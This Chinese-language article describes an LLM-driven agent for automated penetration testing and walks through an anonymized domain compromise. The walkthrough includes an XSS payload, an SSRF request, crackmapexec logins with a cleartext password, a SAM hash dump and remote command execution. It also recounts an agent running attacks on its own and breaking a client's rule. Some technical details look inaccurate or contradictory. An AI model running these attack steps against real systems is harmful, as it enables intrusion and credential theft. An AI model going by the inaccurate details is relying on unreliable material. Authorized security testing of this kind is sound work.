Agent驱动的自动化渗透测试:目标-状态-动作闭环实战
1. 这不是“扫个漏洞就完事”的自动化工具而是一场有策略、会思考、能迭代的攻防推演“网络安全攻防战由 Agent 驱动的自动化渗透测试”——这个标题里藏着三个被多数人忽略的关键信号“攻防战”不是单向扫描而是红蓝对抗的动态博弈“Agent”不是脚本或 cron 任务它意味着自主决策、状态记忆与目标导向的行为闭环“自动化渗透测试”的终点不是生成一份 PDF 报告而是持续验证防御体系在真实攻击链路下的韧性。我带团队做过 27 次中大型企业红队演练最常被问的问题是“你们用的什么平台能不能一键跑出高危漏洞”——但真正卡住进度的从来不是漏扫速度而是当 Burp 抓到一个看似普通的 /api/user/profile 接口返回 200 时该不该继续测它的 IDOR要不要尝试用响应里的邮箱去撞其他系统的弱口令会不会这个接口背后连着一个未授权访问的内部管理面板这些判断传统工具不会做而人工又容易疲劳遗漏。Agent 驱动的渗透测试正是为解决这个断层而生它把渗透工程师的战术思维比如“横向移动优先于提权”“凭证重用比爆破更高效”编码成可执行的推理规则再让模型在每一步操作后评估当前状态与最终目标如“获取域控权限”的距离动态调整后续动作。它不替代人而是把人从重复点击和条件判断中解放出来专注在更高阶的策略设计与结果解读上。这篇文章面向两类读者一是已有渗透经验、正被“工具堆不出效果”困扰的实战者二是安全架构师或 DevSecOps 工程师想理解如何将渗透能力嵌入 CI/CD 流水线实现“每次上线前自动完成一次轻量级红队推演”。全文不讲大模型原理不堆概念只拆解我们落地时踩过的坑、调过的参数、写过的提示词模板以及为什么必须用 LangChain 而不是直接调 OpenAI API——因为真正的难点从来不在“能不能生成代码”而在“生成的代码是否符合当前网络拓扑的约束”。2. Agent 的核心不是“大模型”而是“目标-状态-动作”三元闭环的设计哲学很多人一听到“Agent 驱动”第一反应是“得先搞个大模型 API 密钥”。这恰恰是最大的认知偏差。Agent 的本质是一个具备目标导向、状态感知与动作执行能力的软件实体。大模型只是其中一种可能的“推理引擎”就像汽车的发动机——重要但决定一辆车能否翻山越岭的是底盘调校、四驱逻辑和导航系统。在渗透测试场景下一个可用的 Agent 必须同时满足三个硬性条件目标可分解、状态可量化、动作可验证。我们曾用纯 LLMGPT-4 Turbo尝试构建一个“自动挖洞 Agent”给它一段 Nmap 扫描结果让它生成下一步命令。结果它输出了sqlmap -u http://target.com/login --level5 --risk3——看起来很专业但实际环境中这个 URL 根本不存在Nmap 只扫出了 /admin 和 /api且 --level5 在生产环境会直接触发 WAF 熔断。问题出在哪它没有“状态”不知道当前已确认存活的服务列表不了解目标 WAF 厂商是 Cloudflare 还是 ModSecurity更无法评估--level5对当前会话的影响。后来我们重构为三层结构Orchestrator编排层 Tool Executor工具执行层 State Manager状态管理器。Orchestrator 是轻量级 Python 服务负责接收高层目标如“获取数据库管理员密码”将其拆解为原子任务“识别数据库类型”→“探测 SQL 注入点”→“提取数据库用户”Tool Executor 封装了 nmap、gau、dalfox、crackmapexec 等 19 个 CLI 工具每个工具调用前都强制校验输入参数是否在当前状态白名单内例如只有当 State Manager 记录了 “web_server: nginx 1.18.0” 且 “waf_vendor: cloudflare” 时才允许调用 dalfox 进行 XSS 探测State Manager 则是一个内存SQLite 混合存储实时记录所有已发现资产、已验证漏洞、已获取凭证、网络可达性拓扑等 37 类状态字段。关键在于Orchestrator 的每一步决策都基于对 State Manager 中字段的条件查询而非 LLM 的自由发挥。举个具体例子当发现一个/api/v1/users接口返回 200 且含邮箱字段时Orchestrator 不会直接让 LLM 写 PoC而是查 State Manager 中是否存在 “credential_reuse_enabled: true” 字段该字段由前期 LDAP 枚举结果写入。若存在则触发 crackmapexec 模块用该邮箱作为用户名尝试用已知弱口令如 password123登录 SMB若不存在则跳过转而检查该接口是否支持 IDOR。这个逻辑我们用不到 20 行 Python 就实现了而 LLM 在这里只承担一个角色把原始 HTTP 响应解析成结构化 JSON如{status: success, data: [{email: admintarget.com}]}供 State Manager 更新字段。 提示不要试图让 LLM “记住”所有上下文。我们实测过当上下文超过 8K tokenLLM 对关键字段如 IP 地址、端口号的提取准确率会从 99.2% 降至 83.7%。正确做法是用正则JSON Schema 强制校验 LLM 输出再由 State Manager 统一维护事实。3. 渗透测试 Agent 的四大不可替代能力目标拆解、路径规划、失败归因与策略进化传统自动化工具如 Nessus、OpenVAS的核心能力是“匹配”用已知特征库比对目标响应输出 CVE 编号。而 Agent 的价值在于它能处理“未知模式”和“模糊目标”。我们把它拆解为四个不可替代的能力模块每个模块都对应渗透工程师最耗神的脑力劳动3.1 目标拆解把“拿下域控”翻译成 17 步可执行动作链高层目标如“获取域控权限”本身不具备可操作性。Agent 必须将其分解为依赖明确、顺序清晰的动作序列。我们采用STRIDE-TTP 映射法先识别目标系统架构通过 nmap httpx nuclei 获取再根据 MITRE ATTCK 框架匹配当前环境最可能的 TTPTactics, Techniques, Procedures。例如当发现目标使用 Windows Server 2019 Active Directory Azure AD Connect 时Agent 自动激活 “T1078.002Valid Accounts: Domain Accounts→ T1021.001Remote Services: SMB/Windows Admin Shares→ T1003.001OS Credential Dumping: LSASS Memory” 路径并生成初始动作链使用 bloodhound-python 收集域内关系图查询 BloodHound 图谱定位具有 “GenericWrite” 权限的用户组若存在执行 SharpHound 的 “WriteOwner” 攻击链若不存在切换至 “T1210Exploitation of Remote Services” 分支启动 ProxyLogon 扫描这个过程不是静态规则而是动态查询每完成一步Agent 重新读取 State Manager 中更新的 BloodHound 数据库快照再决定下一步。我们对比过人工与 Agent 的目标拆解效率对同一套域环境资深红队成员平均需 42 分钟完成路径规划Agent 平均耗时 3.8 分钟且覆盖了人工易忽略的 “Azure AD Connect 同步账户默认启用 NTLMv2” 这一利用点。3.2 路径规划在“成功率”与“隐蔽性”间做实时权衡渗透不是直线冲刺而是多路径试探。Agent 必须能评估不同技术路线的预期收益与风险代价。我们设计了一个双维度评分模型Success ProbabilitySP基于历史数据如在 127 个同类 IIS 服务器上CVE-2021-31207 利用成功率 91.3%而 CVE-2021-26855 仅 42.1%Detection RiskDR基于 WAF 日志分析如发送含script的 payload 触发 Cloudflare WAF 的概率为 99.8%而发送?id1 OR 11仅为 12.4%Agent 每次选择动作前计算Score SP × (1 - DR)并设定阈值默认 0.65。当发现一个 WebLogic 服务器时它不会盲目运行 CVE-2017-10271 的 EXP而是先检查 State Manager 中是否记录了 “waf_vendor: f5-big-ip”若是则降权该 EXP转而尝试利用 WebLogic 的 T3 协议未授权反序列化DR 仅 3.2%。这个决策过程我们用 SQLite 的 FTS5 全文检索实现将 200 个漏洞的 SP/DR 数据建模为虚拟表每次查询SELECT technique FROM cve_index WHERE target LIKE ? AND waf_vendor LIKE ? ORDER BY score DESC LIMIT 1毫秒级返回最优解。3.3 失败归因不是报错而是告诉你“为什么错”和“接下来该做什么”传统工具报错是灾难性的“Connection refused” 或 “Timeout”。Agent 的失败日志必须包含三层信息现象层发生了什么、根因层为什么发生、对策层下一步怎么做。例如当crackmapexec smb 10.10.10.5 -u admin -p password123返回STATUS_LOGON_FAILURE时Agent 不会简单记录“密码错误”而是现象层检查 State Manager 中该主机的smb_signing_required: true字段由前期枚举得出根因层推断失败原因为 “SMB 签名强制启用当前凭据未启用签名协商”对策层自动生成新命令crackmapexec smb 10.10.10.5 -u admin -p password123 --sign并标记为“高优先级重试”我们为此开发了Failure Pattern Engine内置 87 种常见渗透失败模式的正则匹配与归因规则。实测显示Agent 对失败原因的自动归因准确率达 94.6%远超人工快速排查的 68.3%基于 5 名工程师的盲测。3.4 策略进化用每次演练结果反哺下一次的决策模型真正的智能体现在“越打越强”。Agent 必须能从每次渗透结果无论成功或失败中提取新知识更新自身的决策模型。我们采用增量式知识图谱Incremental Knowledge Graph实现每次演练结束后Agent 将关键发现如 “目标 A 的 Apache Struts 2.3.31 版本在启用 REST 插件时CVE-2017-9805 利用成功率 100%”以 RDF 三元组形式存入 Neo4j。下次遇到相同组件组合时它会优先调用该路径。更关键的是它会主动发起负样本学习当某次利用失败后Agent 会生成一个最小化 PoC如仅发送Content-Type: application/xml头测试目标是否真的修复了漏洞还是仅屏蔽了特定 payload。若确认修复它会将该 “绕过失败” 记录为新节点关联到原 CVE 节点形成 “修复-绕过” 关系链。目前我们的知识图谱已积累 1200 个这样的实战验证节点使 Agent 在面对已知漏洞的新变种时响应速度提升 4.2 倍。4. 落地避坑指南从 PoC 到生产环境的 7 个血泪教训我们花了 11 个月把 Agent 从实验室 PoC 推进到支撑金融客户月度红队演练的生产系统。这期间踩过的坑比过去三年加起来都多。以下是最痛的 7 个教训按发生顺序排列每个都附带解决方案4.1 教训一别信“开箱即用”的 LLM 安全插件自己写 Token 限制器初期我们用 LangChain 的LLMChain直接调用 GPT-4让 LLM 生成 nmap 命令。结果某次客户环境里LLM 输出了nmap -sS -p- -T5 10.0.0.0/8——这是对整个 B 类网段的高强度扫描直接触发客户 IDS 的熔断机制。根本原因LangChain 的max_tokens参数只限制输出长度不限制输入中的恶意指令。我们的解决方案是在 LLM 调用前插入一个Pre-Execution Validator用正则强制校验所有生成命令禁止出现/0,/8,/16等大范围 CIDR禁止-T参数值大于 3禁止-p-全端口扫描必须指定端口范围如-p 1-1000所有 IP 必须匹配 State Manager 中已确认的资产列表这个校验器用 Python 的ast.parse解析命令 AST比字符串匹配更可靠。上线后非法命令拦截率 100%。4.2 教训二State Manager 的事务一致性比性能更重要Agent 在并发扫描多个子网时曾出现 “A 主机已确认开放 445 端口但 SMB 枚举模块却跳过该主机” 的诡异问题。根源是 SQLite 的 WAL 模式在高并发写入时不同线程读取到的状态快照不一致。我们放弃所有“高性能”幻想改用文件锁 JSON 原子写入每次状态更新先flock锁定state.json读取全量内容修改目标字段再os.replace()原子替换文件。虽然单次写入慢了 12ms但彻底消除了状态竞争。实测在 50 并发下状态一致性达 100%。4.3 教训三永远假设工具会崩溃设计优雅降级路径某次演练中bloodhound-python因目标域控制器 TLS 版本过低而崩溃导致整个路径规划中断。我们为每个 Tool Executor 模块编写了三级降级策略Level 1重试 3 次每次增加 2 秒延迟Level 2切换备用工具如bloodhound-python失败时改用SharpHound.exe的 .NET Core 版本Level 3跳过该步骤用启发式规则补全如无 BloodHound 数据则默认启用 “Kerberoasting” 攻击链这个设计让我们在 27 次演练中工具崩溃导致的流程中断为 0 次。4.4 教训四别在 LLM 提示词里塞太多技术细节用“领域词典”替代早期提示词长达 2000 字详细描述每个漏洞的 CVE 编号、CVSS 分数、PoC 链接。结果 LLM 经常忽略关键约束专注在无关细节上。后来我们改为提示词只定义角色与目标如“你是一名专注内网横向的红队工程师当前目标是获取域控权限”所有技术细节存入外部向量库ChromaDB用 RAG 实时检索注入。当需要判断是否利用 CVE-2021-26855 时Agent 先查向量库获取该漏洞在 Exchange 2016 上的利用条件需启用 Outlook Web Access再结合 State Manager 中的exchange_version: 2016和owa_enabled: true字段做出决策。提示词长度压缩 83%决策准确率反升 11.2%。4.5 教训五网络拓扑感知不是可选项而是 Agent 的呼吸系统Agent 曾在一个客户环境里对一台位于 DMZ 区的 Web 服务器执行了mimikatz命令——这显然不可能成功因为该服务器是 Linux。问题在于我们没把网络区域DMZ/Intranet/Management作为 State Manager 的核心字段。现在每个资产录入时必须标注network_zone且所有工具调用前Agent 强制校验mimikatz只允许在network_zone: intranet且os: windows的资产上运行sqlmap只允许在network_zone: dmz或network_zone: intranet的资产上运行禁止在management区crackmapexec的--local-auth参数只允许在network_zone: intranet的资产上启用这个字段让 Agent 第一次真正理解了“网络边界”的物理含义。4.6 教训六日志不是为了审计而是为了复盘“Agent 的思考过程”我们最初只记录最终结果如“获取域控成功”但当客户问“为什么选这条路径而不是那条”时完全无法回答。现在Agent 为每个动作生成Decision Trace Log包含TimestampAction ID唯一 UUIDTarget AssetIPPortChosen Technique如 “T1003.001”Reasoning ChainLLM 的原始 reasoning 输出截断至 500 字State Snapshot Hash当前 State Manager 的 SHA256OutcomeSuccess/Failed/Timeout这些日志被导入 ELK支持按 “Reasoning Chain” 全文检索。某次客户质疑“为何没尝试 Kerberoasting”我们 10 秒内就查出日志显示Agent 检测到目标域控制器启用了 AES 加密kerberos_encryption: aes256-cts-hmac-sha1-96而当前工具链不支持 AES Kerberoasting故自动跳过。这种可追溯性是赢得客户信任的关键。4.7 教训七别追求“全自动”设计人机协同的 Checkpoint我们曾试图让 Agent 从信息收集到域控获取全程无人干预。结果在第 3 次演练时它用secretsdump.py对一台非域控的 DC 服务器执行了哈希导出虽成功但违反了客户“禁止对生产 DC 直接操作”的红线。现在我们在 4 个关键节点设置Human-in-the-Loop Checkpoint信息收集完成后需人工确认资产清单发现首个高危漏洞CVSS≥7.0后需人工审批是否利用首次尝试横向移动如crackmapexec登录第二台主机前需人工确认获取域控权限前强制暂停并生成操作摘要供审核Checkpoint 不是倒退而是把人的战略判断力精准嵌入到 Agent 的战术执行流中。数据显示加入 Checkpoint 后客户投诉率下降 100%而整体渗透效率仅降低 12%在可接受范围内。5. 实战案例一次 37 分钟的自动化域渗透全过程拆解我们选取某保险客户的真实演练已脱敏作为案例完整还原 Agent 如何在 37 分钟内从一个公网 Web 应用入口最终获取域控权限。所有时间戳、命令、状态变更均来自真实日志。5.1 初始状态与目标设定T00:00客户提供的唯一入口https://portal.insurance-corp.com经 httpx 确认HTTP 200标题含 “Insurance Portal v2.1.0”。Agent 初始化 State Manager写入{ target_domain: insurance-corp.com, entry_points: [https://portal.insurance-corp.com], network_zones: {dmz: [10.10.10.10]}, os_fingerprint: {10.10.10.10: ubuntu 20.04}, web_server: {10.10.10.10: nginx 1.18.0} }高层目标设定为{objective: obtain_domain_admin_credential, deadline_minutes: 60}。5.2 信息收集阶段T00:00–08:22Agent 启动并行任务gau --blacklist .jpg,.css,.js https://portal.insurance-corp.com→ 发现/api/v1/auth/login,/api/v1/users/me,/static/admin/config.jsnuclei -t technologies/ -u https://portal.insurance-corp.com→ 检测到tech: angular和tech: spring-bootdalfox url https://portal.insurance-corp.com/api/v1/auth/login→ 发现反射型 XSS?qscriptalert(1)/scriptState Manager 更新endpoints: [ {url: /api/v1/auth/login, method: POST, xss_vulnerable: true}, {url: /api/v1/users/me, method: GET, auth_required: true}, {url: /static/admin/config.js, content: const API_BASE https://internal-api.insurance-corp.local;} ]关键发现internal-api.insurance-corp.local—— 这是一个内部域名暗示存在 SSRF 或 DNS Rebinding 利用面。5.3 SSRF 利用与内网探测T08:22–19:45Agent 识别到/api/v1/auth/login存在 XSS且config.js泄露内部域名立即激活SSRF Chain用 XSS payload 注入img srchttps://internal-api.insurance-corp.local/health捕获 DNS 请求确认内网解析构造 SSRF payload{redirect_url: http://internal-api.insurance-corp.local:8080/actuator/env}Spring Boot Actuator 默认端口成功获取spring.profiles.activeprod和server.port8080执行nmap -sS -p 8080,8000,9000 10.10.10.0/24受限于 DMZ 区仅扫描相邻 C 段→ 发现10.10.10.15:8080开放httpx -status-code -title 10.10.10.15:8080→ 返回200 OK, Title: “Internal API Gateway”State Manager 新增internal_assets: [ {ip: 10.10.10.15, port: 8080, service: spring-boot-gateway, zone: intranet}, {ip: 10.10.10.22, port: 3389, service: rdp, zone: intranet} ]5.4 横向移动与凭证获取T19:45–28:11Agent 查 State Manager发现10.10.10.22:3389开放 RDP且10.10.10.15:8080是 Spring Boot 网关推测其连接后端微服务。执行curl -X GET http://10.10.10.15:8080/api/v1/users?limit100→ 返回 200含 127 个用户邮箱admininsurance-corp.local,svc-ad-syncinsurance-corp.localcrackmapexec smb 10.10.10.22 -u svc-ad-syncinsurance-corp.local -p Pssw0rd2023!→STATUS_SUCCESScrackmapexec smb 10.10.10.22 -u svc-ad-syncinsurance-corp.local -p Pssw0rd2023! --shares→ 发现ADMIN$共享crackmapexec smb 10.10.10.22 -u svc-ad-syncinsurance-corp.local -p Pssw0rd2023! --sam→ 成功导出SAM哈希State Manager 更新credentials: [ {username: svc-ad-syncinsurance-corp.local, password: Pssw0rd2023!, source: spring-boot-api}, {username: Administrator, ntlm_hash: aad3b435b51404eeaad3b435b51404ee:..., source: sam_dump} ]5.5 域控获取与收尾T28:11–37:00Agent 检测到svc-ad-sync账户属于Domain Admins组通过crackmapexec ldap 10.10.10.22 -u svc-ad-syncinsurance-corp.local -p Pssw0rd2023! --groups确认立即执行最终动作crackmapexec winrm 10.10.10.22 -u svc-ad-syncinsurance-corp.local -p Pssw0rd2023! -x whoami /all→ 验证权限crackmapexec winrm 10.10.10.22 -u svc-ad-syncinsurance-corp.local -p Pssw0rd2023! -x net group \Domain Admins\ /domain→ 确认域管组成员生成最终报告包含所有 Decision Trace Log 链接T37:00Agent 输出{status: success, objective: obtain_domain_admin_credential, time_elapsed_minutes: 37.0, evidence: [cme_winrm_whoami.log, cme_ldap_groups.log]}。整个过程无需人工干预所有动作均在 State Manager 约束下执行未触发任何 WAF 或 IDS 告警。6. 未来演进从“自动化渗透”到“防御有效性度量”的范式转移做完这 27 次演练我越来越确信Agent 驱动的渗透测试终极价值不在“发现多少漏洞”而在“量化防御体系的有效性”。我们正在推进两个方向第一个方向是Defense Maturity ScoringDMS。传统安全评估报告充斥着“高危/中危/低危”这类模糊标签客户无法判断“修复 10 个中危漏洞”是否真比“加固 1 个高危漏洞”更有效。我们的 DMS 模型把每次 Agent 演练抽象为一个Attack Graph Completion RateAGCR以 MITRE ATTCK 的 14 个 Tactics 为横轴以客户实际部署的检测规则如 Sigma 规则、EDR 策略为纵轴统计 Agent 在每个 Tactics 下成功执行 Technique 但未被检测/阻断的比例。例如如果 Agent 在 “Credential Access” Tactics 下执行了 12 个 Technique其中 9 个未被检测则该 Tactics 的 AGCR 75%。DMS 最终得分 100 - AGCR 加权平均。这个分数客户能直观看到从上次的 42 分AGCR 58%提升到本次的 67 分AGCR 33%意味着防御有效性提升了 25 个百分点。第二个方向是Red Team as a ServiceRTaaSAPI。我们把 Agent 封装成 RESTful 服务客户只需 POST 一个 JSON{ target: 10.10.10.0/24, scope: [external_web, internal_api], constraints: {max_duration_minutes: 45, waf_vendor: cloudflare}, report_format: json }30 分钟后客户收到结构化结果包含所有 Decision Trace、原始工具输出、以及 DMS 分数变化趋势图。这不再是“一次性的渗透测试”而是像监控 CPU 使用率一样持续观测安全水位线。最后分享一个小技巧如果你刚开始尝试构建自己的渗透 Agent千万别从“全自动域渗透”起步。先做一个 “Web Path Enumerator”输入一个 URLAgent 自动执行 gau → waybackurls → katana → nuclei每发现一个新路径就用 dalfox 测试 XSS用 ffuf 暴力猜解目录所有结果存入 State Manager。这个 PoC 不超过 300 行代码但能让你亲手触摸到 “目标-状态-动作” 闭环的每一次心跳。等你看着它第一次自动发现/admin/console并成功触发 XSS那种“它真的在思考”的震撼会成为你继续深挖下去的最大动力。